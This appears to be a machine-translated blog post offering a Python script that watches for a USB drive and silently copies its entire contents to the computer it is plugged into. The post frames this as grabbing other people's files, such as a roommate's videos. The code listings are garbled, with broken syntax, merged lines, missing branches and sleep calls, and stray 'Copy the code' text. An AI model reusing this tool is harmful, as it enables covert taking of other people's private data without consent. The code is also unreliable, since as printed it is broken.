Moment For Technology

Python operations, automatic copy OF the U disk

Posted on Nov. 27, 2023, 10:09 p.m. by Ross Brown-Anderson
Category: reading Tag: python WeChat windows e-books

It takes about 6 minutes to read the text.

There are a lot of interesting things to do with Python, such as automatically sending messages to your wechat friends, viewing your wechat friends' withdrawn messages, and controlling your computer via wechat. I have also shared many interesting programs on my public account. In the near future, I will collect some Python programs and share them with you. I will name the column "Python Python programs" and keep updating! Some of the programs in this article may come from other people's articles, but if I feel there is still room for improvement, I will continue to add some code, and I will note the source at the end of the article.

A program that automatically copies the contents of your computer's USB flash drive. When someone else's USB flash drive is inserted into your computer, the Python script automatically copies the entire contents of the usb flash drive to your computer. The script scans the current COMPUTER every five seconds to see if there is a USB flash drive inserted. If the content has been copied, it will not be copied again and every corresponding operation will be recorded in a log file.

If this USB flash drive happens to have some roommate "study video", such as the picture below.

Ten stars on the Nassau Gas index!

Note that this program is only for study and communication, do not use it illegally.

Python SAO ideas

In Windows, when a usb flash drive is inserted into your computer, it is assigned a disk name, such as' J 'on my computer. So I'll start by defining a "USB_FILE" variable that represents the directory where the USB drive is located.

We use the OS library to determine whether the current system has "USB_FILE". If this directory is detected in the current system, it indicates that a USB disk has been inserted into the current computer. We then used the Shutil library to copy everything from the usb drive to our own computer. Between each operation I added the input_log() method to log the current corresponding operation to a log file.

Python SAO source

The program is mainly composed of three functions, get_dirs_size(), main(), input_log().


Get_dirs_size () returns the length of the USB flash drive to be copied. It is used to determine whether the current content to be copied has been duplicated. If so, no copy is required.

def get_dirs_size(dir):
    size = 0
    for root, dirs, files in os.walk(dir):
        size += sum([getsize(join(root, name)) for name in files])
    return size
Copy the code


Main () is used to execute the main logic code, which checks the current computer for usb drives every 5 seconds. If yes, record the length of the usb flash drive. During the next check, if the current length does not change, you do not need to copy it again. Each operation is logged so that copy information can be viewed later.

def main():
    old_size = 0
    new_dirsize = 0
    while(1) :if os.path.exists(USB_PATH):
            print("Flash drive detected")
            input_log("Flash drive detected")
            new_dirsize = get_dirs_size(USB_PATH)
            ifold_size ! = new_dirsize:for filename in os.listdir(USB_PATH):
                    print("Copied:" + filename)
                    input_log("Copied:" + filename)
                shutil.copytree(USB_PATH, SAVE_PATH)
                old_size = new_dirsize
                print("There is no change in the USB drive.")
                input_log("There is no change in the USB drive.")
            print("No U judgment yet.")
        print("Go to sleep.")
        input_log("Go to sleep.")

        print("Sleep is over. Retest.")
        input_log("Sleep is over. Retest.")Copy the code


Input_log () makes use of the Logging library to save operation information to a log file.

def input_log(message):
    handler = logging.handlers.RotatingFileHandler(LOG_FILE, maxBytes=1024 * 1024, backupCount=5,
                                                   encoding='utf-8')  Instantiate handler
    fmt = '%(asctime)s - %(levelname)s - %(message)s'

    formatter = logging.Formatter(fmt)  Instantiate formatter
    handler.setFormatter(formatter)  Add formatter to handler

    logger = logging.getLogger('tst')  Get a logger named TST
    logger.addHandler(handler)  Add handler for Logger
    logger.setLevel(logging.DEBUG) the code

Python SAO tutorial

The program is very simple to use, first download the source code, the background reply "copy" to obtain the source code. Then change the USB_PATH and SAVE_PATH parameters. These two parameters indicate the location of your USB drive and the directory you want to save it to.

LOG_FILE = "test.log"
USB_PATH = "J:\\"
SAVE_PATH = "D:\\disk_copy"Copy the code

The original program 5%E5%85%B7/

This article was first published on the public account "Chi Hai", the background reply "1024" to get the latest programming resources.

Like this:Python learning materials, PDF ebook collection

About (Moment For Technology) is a global community with thousands techies from across the global hang out!Passionate technologists, be it gadget freaks, tech enthusiasts, coders, technopreneurs, or CIOs, you would find them all here.